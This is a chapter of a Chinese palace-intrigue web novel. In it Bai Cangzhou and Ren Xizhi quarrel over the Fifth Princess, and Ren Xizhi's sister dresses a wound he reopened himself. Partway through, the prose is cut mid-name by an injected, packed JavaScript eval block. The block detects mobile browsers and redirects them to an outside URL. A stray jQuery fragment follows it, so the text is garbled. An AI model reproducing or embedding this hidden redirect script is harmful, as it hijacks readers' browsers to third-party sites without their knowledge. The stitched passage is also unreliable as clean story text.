白沧州问:“受伤了?”
任溪知不语。
白沧州知道他不会说,便从身上掏出一小瓷瓶,起身走到他身边,放在桌子上:“擦了好得快些。”
说完,白沧州转身又去擦左边的地板。
任溪知看着白沧州这样子,是想一个人把所有的活干了。
“我不会领你情的。”任溪知冷着脸。
白沧州擦着擦着就不动了。
许久他才长叹一口气,转身盘腿坐在地上,把抹布甩到水盆里,望着任溪知:“你这么过日子,累不累?”
任溪知蹙眉,唇齿紧闭。
“你把所有人的动作尽收眼底,你算得到所有人的下一步动作,你每日起床了就要想今日算计谁。我随便说一句话,你就要想我到底要对你做什么。”白沧州问,“你这么过日子累不累?”
任溪知手缓缓锁紧。
“今日就算不是你跟我在一起被罚,换做其他同学手受伤了,我也一样会帮他把地擦了。”白沧州说,“这是人之常情,不需要谁领。”
“这世上哪有人之常情。”任溪知冷言怼了回去,“都是尔虞我诈,精心算计罢了。”
“最少还有你真心以待的人罢。”白沧州转身,又去投洗抹布,“不然你为什么要费尽心机的设这一局。参加科举,自立门户,把你在意的人都从你最厌恶的地方接出来。”
白沧州这话接得自然,让任溪知眼眸微睁。
这个人居然这么了解他,不费吹灰之力就知道他心中所想。
白沧州……
白沧州!!!
为什么他们明明才刚认识没多久,却是像认识了一辈子?
白沧州没想着任溪知会回答他,自顾自地拧干的抹布。
他忽然抬起头,像是想到什么,犹豫好一会儿还是问了:“宫里最近没什么事罢?五殿下过得还好?”
任溪知愣愣地睨着右手已经结了血痂的虎口,喃喃道:“她哪有不好的……牙尖嘴利。”
牙尖嘴利?
白沧州疑惑地回头看见任溪知对着自己的手发愣,蹙眉道:“那是……殿下咬的?”
任溪知不答。
白沧州心下一惊,沉声道:“你对殿下做了什么?”
“做了什么,”任溪知侧头嗤笑回望白沧州,“不过就是想掐死她罢了。”
“你!”白沧州怒火中烧,一步跨到任溪知面前,揪住他衣襟。
“谁让她那么天真,”任溪知被拎着仰着头,用眼缝睨着白沧州,“毫无防备地来问我那人是不是我给郭皇后的。若是我有心杀她,今晨她就已经死了。”
“她贯是那样!”白沧州把任溪知的衣襟握得更紧了。
“她贯是那样?你很了解她吗?”任溪知对上白沧州的双眼,嗤笑着说,“宫里的事,你指着她去帮你走动,总该教会她防人之心不可无。”
任溪知目光逐渐涣散,想到什么开始自言自语:“谁对她笑一笑,她就能对人把心肝肺掏出来……”
“你这样只会让杜景行有机可乘!”
白沧州看不懂任溪知了,但他知道跟任溪知吵架没有任何意义。
他深吸一口气,稳住自己的情绪,低声道:“原本五殿下倾心的人就是他。杜家被迫站队郭家,你我都知道郭家盛极必衰,杜景行也知道。他为了保杜家满门,一定会想尽一切办法求娶五殿下。之前杜景行出手解了薛灵珊之困向殿下展露了他谋事之能。你若是如此这般不知收敛,五殿下很有可能为了避开你而选择与杜景行合作!”
“谁能赢下这一局成为第二个郭家还不一定呢。”任溪知一巴掌打掉白沧州的手,整了整衣襟,不屑冷笑,“他杜景行算是个什么东西?一个扬州瘦马就把他弄得自乱阵脚。就连解局也只能想到跟女人结婚寻得皇家庇佑。一个只会吃软饭的废物罢了,何足畏惧?”
任溪知不擦白沧州递给他的药,他捡起药瓶丢还给白沧州,站起身,幽幽吐出一句:“你自己都一屁股烂账,还有心思操心别人?”
不等白沧州反应过来,任溪知已经哂笑着甩袖离开。
*
任溪知回到任府一点都没掩饰自己脸上的伤跟手上的伤。门房与外院打扫的小厮们眼看着任溪知一脸阴沉地往二房院子里冲。
一路上碰见的府里的下人隔着老远就纷纷避着任溪知走。
任溪知冷着脸进屋,在紫檀顶箱柜的小格子里找了些膏药,转身去里间,坐在铜镜把脸上的伤抹了。
抹脸上伤的时候,从铜镜里看见了自己右手虎口上的伤。
他放下膏药,盯着虎口上已经结了痂牙印。她的牙倒是整齐,咬他的时候也下了死劲,眼眸红了一圈,眼睛里掺着泪花……
任溪知忽然咬牙,太阳穴的门筋一动,眼神骤然变得犀利,把那一个一个血痂重新扣了下来,整只手顿时鲜血横流。
“哥!家里下人都说你脸上挂了彩……”
任惜霜从外面跑进来,转头就看见任溪知手上鲜血,吓了一跳,连忙上前:“你这手是怎么了?”
任惜霜又摸向任溪知的嘴角,蹙眉娇嗔:“你到底去哪了,这许都还有人不知道你是任家四少爷吗?怎么敢跟你动手?”
任溪知冷笑一声没答,从衣袖口袋里拿出自己的手帕,捂住虎口,低声问:“老爷子知道那事了吗?”
任惜霜不懂现在是什么情况,回道:“昨日二嫂出月子,小办了个满月席。我在席上说了三哥的事。爷爷耳聪目明,肯定已经想到那事是你的主意。”
任溪知深吸一口气,缓缓闭上眼:“那就行了。”
任惜霜抢过任溪知手上的药瓶,给他轻轻地揉着淤青地方,嘟囔着:“你自己擦药也不好好抹,这里都没抹到。”
任惜霜小心翼翼地给任溪知擦药,满眼都是担心。
他让她办的事,她从来不问为什么。只要他说了,她就尽心去办。他说给她想了个好归宿,与六皇子成婚可保她后半生荣华富贵。
她想也不想,说只要能帮他,她愿意嫁。
任惜霜就是那个从来不会算计他,也不图从他身上得到什么的人。
这一刻,任溪知想到了白沧州对他告诫。
白沧州说任惜霜不能入宫。
任惜霜为什么不能入宫?
任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967485|208260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
溪知想不明白,但这话从白沧州嘴里说出来就一定有事。
“哥,手上这伤口不会是你自己……”
任惜霜声音打断了任溪知的思绪。
任溪知回过神,发觉任惜霜已经拿纱布把他虎口缠好了。
任溪知收回手,安慰她:“没事,是我自己不小心碰的。”
任惜霜不信,一把拉住任溪知的胳膊,怒道:“你要怎么不小心才能碰到虎口?!有事你千万别瞒着我,你跟我说你到底怎么了?!”
任惜霜眼眸微红,鼻头一抽一抽的,一副要哭的模样。
从小到大,任溪知最看不了任惜霜哭。
她是真的担心他。
“不会有下次了。”任溪知放柔了声音,“我会珍惜自己的身子。”
“真的?”任惜霜吸了一下鼻子,伸手要跟他拉勾,“你保证。”
任溪知轻笑,伸出小拇指:“我跟你保证。这样可以了罢?别哭了。”
任惜霜揉了一把眼睛,喃喃道:“我才没哭呢!”
任溪知溺爱地狠狠揉了任惜霜头发一把。
*
白沧州擦完地板,疲惫地回到明府。
他把国子监领到的银钱与自己这些时日抄书赚的银子摆在一起,算了算。已经能在许都国子监附近的街市租一间一进的院子。
他把银钱收好,想着等老师回来就把自己租房子把母亲接过来治病的事跟老师商议一番。
秋梨见白沧州回院子,立即从厨房端出一盏新冲泡的热茶,放在白沧州的书桌上,转头就要退下。
白沧州望着秋梨,说:“我想把生病的娘亲接到许都居住。”
秋梨身子顿了一下,一脸疑惑地转过身问:“公子是在跟奴说话?”
白沧州点头,继续道:“我家里只有一个弟弟,可他到底是男子,照顾娘亲多有不便。我想着到时候把娘亲接过来,不如请你帮我照顾娘亲。”
秋梨咬唇,没有吱声。
白沧州道:“这事我会跟老师说清楚,不会让你白干。每个月,我会额外给你一份月例银子。”
秋梨到白沧州的院子里与白沧州相处了一段时间,知道他不是一个多事的人。
只要是白沧州自己能做的事,从来不麻烦她做。
白沧州每日从国子监回来,不是去教小蝶算账,就是点灯夜读。
每每她伺候的晚了,白沧州还让她早点休息。
白沧州从没有对她打骂或者轻薄。
秋梨是明府从人牙子手里买过来的下人。来到明府之前,他们一家也曾在别的府上做工。
凭心而论,白沧州这个主子对她已经很好了,她不能奢求更多。
“公子若是有要求,直接吩咐就是。奴就是买过来给主家干活的。主家怎么安排,奴就怎么做。”秋梨颔首,不看白沧州。
“你这么说,我就当你是同意了。”白沧州道,“我娘亲病弱,常年卧病在床,虽然能下床走一两步路,但一日三餐都需要人照料。具体的情况等我把娘亲接过来,带你去见她的时候再同你细说。”
秋梨应下,福了福身子,便退了出去。